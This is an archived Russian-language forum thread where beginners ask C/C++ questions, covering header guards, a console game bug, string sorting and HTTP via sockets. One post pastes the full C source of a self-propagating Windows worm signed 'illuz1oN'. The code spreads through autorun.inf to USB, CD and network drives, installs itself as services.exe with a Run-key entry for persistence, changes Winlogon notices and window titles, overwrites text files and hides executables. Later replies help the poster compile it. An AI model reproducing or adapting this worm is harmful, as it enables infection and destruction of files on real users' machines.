[ C / C++ ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Autom

    Autom New Member

    Joined:
    29 Jun 2010
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    R0nin, а в какую директорию его положить?
     
  2. rudi

    rudi Active Member

    Joined:
    3 Jun 2010
    Messages:
    492
    Likes Received:
    186
    Reputations:
    5
    Советую просто почитать книгу....

    R0nin
    мне кажеться что ты хотел написать не
    Code:
     #ifndef _MYHEADERFILE_    
    #define _MYHEADERFILE 1
    а скорее
    Code:
     #ifndef _MYHEADERFILE_    
    #define _MYHEADERFILE_
     
    #5442 rudi, 17 Jul 2010
    Last edited: 17 Jul 2010
  3. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Неа, я хотел написать то что написал.
    Как мы знаем с помощью #definе создаем либо макросы,либо константы, а константа созданная имеет какое то значение,так что создавая свою константу я присваиваю значение 1,т.е. true.
    Как ты сам наверное встречал во многих header файлах не присваивается значение, и даже в таком случаи,когда не присваивается это не ошибка, но правильнее было бы присвоить какое нибудь значение.

    Например возмем часть кода с заголовочного файла socket.h, с линукс,путь к нему обычно лежит по адресу : /usr/include/sys/socket.h
    так вот содержание :
    Code:
    /* Declarations of socket constants, types, and functions.
       Copyright (C) 1991,92,1994-2001,2003,2005,2007,2008
       Free Software Foundation, Inc.
       This file is part of the GNU C Library.
    
       The GNU C Library is free software; you can redistribute it and/or
       modify it under the terms of the GNU Lesser General Public
       License as published by the Free Software Foundation; either
       version 2.1 of the License, or (at your option) any later version.
    
       The GNU C Library is distributed in the hope that it will be useful,
       but WITHOUT ANY WARRANTY; without even the implied warranty of
       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
       Lesser General Public License for more details.
    
       You should have received a copy of the GNU Lesser General Public
       License along with the GNU C Library; if not, write to the Free
       Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
       02111-1307 USA.  */
    
    #ifndef	_SYS_SOCKET_H
    #define	_SYS_SOCKET_H	1
    
    #include <features.h>
    
    __BEGIN_DECLS
    
    #include <sys/uio.h>
    ....
    
     
  4. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Если ты его положишь в папку, где находится файл который его загружает через #include,то достаточно написать :

    PHP:
    #include "my_header_file.h"
    но а если он лежит в другой папке придется указать путь к нему.
    В общем,не имеет значение где он лежит,главное чтобы твой компилятор имел доступ к нему.
     
  5. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Насчет одного ты прав, я написал :
    Code:
    #ifndef  _MYHEADERFILE_
    #define _MYHEADERFILE 1
    а должно было быть :
    Code:
    #ifndef  _MYHEADERFILE_
    #define _MYHEADERFILE_ 1
    Разницу наверное видишь :)

    Насчет единицы я написал в предыдущем посте.
     
  6. RAINUR

    RAINUR New Member

    Joined:
    24 May 2010
    Messages:
    151
    Likes Received:
    0
    Reputations:
    0
    Code:
    #include <iostream>
    #include <conio.h>
    using namespace std;
    const int s=20;
    const int c=20;
    const int koltop=30;
    int toplivoai=koltop;
    int toplivo=koltop;
    int x=1;
    int y=0;
    int counter = 0;
    int counterai = 0;
    int xai=4;
    int yai=4;
    char map[s][c];
    
    void init_game(char map[s][c]);
    void ai(char map[s][c]);
    int movement_if(char map[s][c]);
    int main()
    {
    setlocale(LC_CTYPE,"Russian");
    init_game(map);
    while(1){
    movement_if(map);
    system("cls");
    init_game(map);
    ai(map);
    }
    _getch();
    return 0;
    }
    
    void ai(char map[s][c]){
    	map[xai][yai]=" ";
    	 int put=rand()%4;
    	 if(put==0){
    		 xai--;
    		 toplivoai--;
    	 } else if(put==1){
    		 xai++;
    		 toplivoai--;
    	 } else if(put==2){
    		 yai--;
    		 toplivoai--;
    	 } else if(put==3){
    		 yai++;
    		 toplivoai--;
    	 }
    	 
    	if(yai==c) yai=0;
    	if(xai==s) xai=1;
    	if(yai<0) yai=c-1;
    	if(xai<1) xai=s-2;
     if(toplivoai<0){
    	 cout << "YOU WEEN!!!";
    	 xai=s-2;
    	 yai=c-1;
    	 toplivoai=koltop;
     } else {
    	 if(xai==(s/2) && yai==(c/2)){
    		 toplivoai=koltop;
    	 } else {
    	 map[xai][yai]="B";
    	 }
     }
    }
    
    
    void init_game(char map[s][c])
    {
    	if(y==c) y=0;
    	if(x==s) x=1;
    	if(y<0) y=c-1;
    	if(x<1) x=s-2;
    			if(toplivo<0){
    			cout << "GAME OVER!!!";
    			toplivo=koltop;
    			x=1;
    			y=0;
    			
    		} else {
    	for(int i=0; i<s;i++){
    		cout << "|";
    
    		for(int j=0; j<c;j++){
    			if(x==(s/2) && y==(c/2)){
    				toplivo=koltop;
    			}
    			if(i==(s/2) && j==(c/2)){
    				cout << "P";
    			} else {
    		if(i==0 || i==s-1){
    			cout << "-";
    		} else {
    			if(i==x && j==y){
    				cout << "T";
    			} else {
    				cout << " ";
    			}
    		}
    		}
    
    		}
    		cout << "|\n";
    	}
    	cout << x << y;
    	cout << "\nОсталось топливо:" << toplivo;
    			}
    }
    
    int movement_if(char map[s][c])
    {
      char act;
      int ch;
      _getch();
      act = _getch();
      ch = static_cast<int>(act);
      if (ch == -3272)
       {  }
      else if (ch == 72){
    	  x--;
    	  toplivo--;
      }
      else if (ch == 80){
        x++;
    	toplivo--;
      }
     else if (ch == 75){
       y--;
       toplivo--;
     }
      else if (ch == 77){
    	y++;
    	toplivo--;
      }
      else if(ch == 27){
    	  exit(0);
      }
      else
      {
    	  cout << "Не верный ввод.";
    	  _getch();
      }
      return 0;
    }
    

    В функции ai не возможно присвоить значение массиву map. Это консольное приложение. Игрушка:)ггг. В разраотке...
     
    #5446 RAINUR, 19 Jul 2010
    Last edited: 19 Jul 2010
  7. yaku_toi

    yaku_toi New Member

    Joined:
    18 Jul 2010
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0
    У тебя массив типа char. Ты же пытаешся присвоить элементу массива значение типа char *. Попробуй поменять на одинарные кавычки.
    Code:
    	map[xai][yai]=' ';
    	 map[xai][yai]='B';
    
     
  8. RAINUR

    RAINUR New Member

    Joined:
    24 May 2010
    Messages:
    151
    Likes Received:
    0
    Reputations:
    0
    yaku_toi +1, ПОЛУЧИЛОСЬ.:)
     
  9. RAINUR

    RAINUR New Member

    Joined:
    24 May 2010
    Messages:
    151
    Likes Received:
    0
    Reputations:
    0
    Не подскажите пожалуйста хорошую библиотеку для работы с icq и инфо про нее:) Кодть буду на С++. Мне нужно что бы исходник был открыт и написан на С++.
     
  10. Yetisports

    Yetisports Banned

    Joined:
    11 Jul 2010
    Messages:
    147
    Likes Received:
    12
    Reputations:
    17
    Как программно с помощью с++ обращаться по протоколу http. Как к простым файлам?
    пример:
    FILE *f = fopen( "http://sait.com", "r" );
    может вопрос мой некоректен , но я думаю поймут )))
     
  11. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Не заебался флудить?
    (https://forum.antichat.ru/showpost.php?p=373576&postcount=5)
     
  12. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Что значит "с помощью C++" ?
    Да твои вопрос не корректен, но тебя поняли
    С протоколом HTTP работают через сокеты, как и с другими сетевыми протоколами.
     
  13. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Как отличить C++ от C или C# по исходникам? :D
     
  14. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    в C# вместо #include - using и всё на ООП
    C++ от C по "новым возможностям" - http://ru.wikipedia.org/wiki/C%2B%2B#.D0.9D.D0.BE.D0.B2.D1.8B.D0.B5_.D0.B2.D0.BE.D0.B7.D0.BC.D0.BE.D0.B6.D0.BD.D0.BE.D1.81.D1.82.D0.B8_.D0.BF.D0.BE_.D1.81.D1.80.D0.B0.D0.B2.D0.BD.D0.B5.D0.BD.D0.B8.D1.8E_.D1.81_.D0.A1.D0.B8
     
    1 person likes this.
  15. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Можешь воспользоваться этим классом:
    https://forum.antichat.ru/threadnav27529-1-10.html
    Там тебе и пример использования и описание.

    Забывай о таком, это не пхп :)
     
  16. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    Я уже замучился совсем. Пишу на php иже с ним,и c++ после этого не идет..
    Вот код:
    Code:
    int a=Memo1->Lines->Count; 
    short sorted=1,changed=0; 
    do{ 
        changed=0; 
        for (int i=1;i<(a-1);i++){ 
              char *str1=Memo1->Lines->Strings[i].c_str(); 
              for (int j=0;j<strlen(str1);j++){ 
                   char *str2=Memo1->Lines->Strings[i+1].c_str();
                   int str2len=strlen(str2); 
                   if(str2len<=j){break; } 
                   int s1=asnum(str1[j]); 
                   int s2=asnum(str2[j]); 
                   if (s1>s2){ 
                       char *temp=str1; 
                       Memo1->Lines->Strings[i]=str2; 
                       Memo1->Lines->Strings[i+1]=temp; 
                       changed = 1; 
                  }else if(s1<s2){break;} 
             }
        } 
        sorted = !changed; 
    }while (!sorted); 
    
    Он упорядочивает строки в Memo1 по алфавиту. То есть он должен их упорядочивать, но никаких изменений не происходит.
    Во,еще забыл:

    Code:
    int asnum(char c){
    	int casc;
    	casc=c;
    	if (casc<0) {
    		casc=256+casc;
    	}
    	return casc;
    }
    
     
  17. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Как на C++ определить, какой съёмный носитель подключён? В сторону WinAPI копал, так и не чего не понял.

    Есть на C
    Code:
    DWORD WINAPI spreadUSB()
    {
       while(1)
       {
           Sleep(120000);
           int i;
           for(i = 0;i < 24;i++)
           {
               if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
               {
                   char hldPath[50];
                   char usbFile[30] = "\\Driver_Update.exe";
                   char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
                   strcpy(hldPath,drives[i]);
                   strcat(hldPath,"\\autorun.inf");
                   FILE *fp = fopen("autorun.inf","w");
                   fprintf(fp,autoRun);
                   fclose(fp);
                   CopyFile("autorun.inf",hldPath,0);
                   remove("autorun.inf");
                   strcat(drives[i],usbFile);
                   CopyFile(me,drives[i],0);
               }
               else if((GetDriveType(drives[i])) == DRIVE_CDROM)
               {
                   char cdPath[50];
                   char cdFile[20] = "\\Worm_Pwn.exe";
                   char cdAutr[50] = "[autorun]\r\nopen=Worm_Pwn.exe";
                   strcpy(cdPath,drives[i]);
                   strcat(cdPath,"\\autorun.inf");
                   FILE *fpp = fopen("autorun.inf","w");
                   fprintf(fpp,cdAutr);
                   fclose(fpp);
                   CopyFile("autorun.inf",cdPath,1);
                   remove("autorun.inf");
                   strcat(drives[i],cdFile);
                   CopyFile(me,drives[i],0);
               }
               else if((GetDriveType(drives[i])) == DRIVE_REMOTE)
               {
                   char remName[20] = "\\Upd_Config.exe";
                   strcat(drives[i],remName);
                   CopyFile(me,drives[i],0);
               }
           }
       }
    }
    BOOL Startup()
    {
       char dropTo[1024];
       GetWindowsDirectory(dropTo,1024);
       strcat(dropTo,"\\services.exe");
       if((CopyFile(me,dropTo,1)) == 0)
           return 0;
       else
       {
           if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS)
           {
               RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo));
               RegCloseKey(hKey);
           }
           return 1;
       }
    }
    DWORD WINAPI changeTitle(LPVOID lParam)
    {
       while(1)
       {
           HWND hWnd = GetForegroundWindow();
           SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] Worm - illuz1oN /-+=\\__[__]__|");
       }
    }
    void winLogin(void)
    {
       HKEY hKey;
       char szCaption[] = "          |__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|";
       char szText[] = "             |__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|"
                       "\nIf you want to remove this worm, contact illuz1oN - [email protected]"
                       "\n... AV Companies ~censored~ You ...";
       RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
       RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption));
       RegCloseKey(hKey);
       RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
       RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText));
       RegCloseKey(hKey);
    }
    int WINAPI WinMain (HINSTANCE hinst,HINSTANCE prhin,LPSTR argsx,int in)
    {
       GetModuleFileName(0,me,1024);
       CreateMutex(0,0,"-+- illuz1oN -+-");
       if(GetLastError() == ERROR_ALREADY_EXISTS)
       {
           ExitProcess(0);
       }
       else
       {
           if((Startup()) == 0)
           {
            char szMask[4] = "*.*";
            DWORD ret = 0;
            WIN32_FIND_DATA fData;
            HANDLE hFind,hFile;
            hFind = FindFirstFile(szMask,&fData);
            if(fData.cFileName == "*.txt")
            {
               hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
               if(hFile == INVALID_HANDLE_VALUE)
                  ExitProcess(0);
               else
               {
                  WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);
                  CloseHandle(hFile);
               }
            }
            else if(fData.cFileName == "*.exe")
            {
               SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
               CloseHandle(hFile);
            }          
            while (FindNextFile(hFind,&fData))
            {
               if(fData.cFileName == "*.txt")
               {
                  hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
                  if(hFile == INVALID_HANDLE_VALUE)
                     ExitProcess(0);
                  else
                  {
                     WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);
                     CloseHandle(hFile);
                  }
               }        
               else if(fData.cFileName == "*.exe")
               {
                  SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
                  CloseHandle(hFile);
               }              
            }          
            FindClose(hFind);
           }
           else
           {
               winLogin();
               unsigned long title;
               CreateThread(0,0,changeTitle,0,0,&title);
               unsigned long virii;
               CreateThread(0,0,spreadUSB,0,0,&virii);
               Sleep(INFINITE);
           }
       }
    }
    
    Но я только не пойму, как его переписать под C++ :(
     
    #5457 SeNaP, 26 Jul 2010
    Last edited: 26 Jul 2010
  18. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    Это код С/C++ т.е. подходит для вставки в сорсы C и С++
    (переписывать не надо)
     
  19. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Спасибо еще раз :) .
    Только еще один вопрос остался. Создаю проэкт C++ Win Console в visual studio.
    Там есть
    Code:
    int _tmain(int argc, _TCHAR* argv[])
    {
    	/*cout << "dfsfsf\r\n";
    	char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
                   FILE *fp = fopen("autorun.inf","w");
                   fprintf(fp,autoRun);
                   fclose(fp);*/ //Это всё для проверки, просто только начал учить C++
    
    
    
    
    	system("pause");
    
       	return 0;
    }
    
    А как в теперь вшить тот код в проэкт?
     
  20. rudvil

    rudvil Elder - Старейшина

    Joined:
    25 Aug 2008
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    Для работы с файлами у С++ есть fstream
     
Thread Status:
Not open for further replies.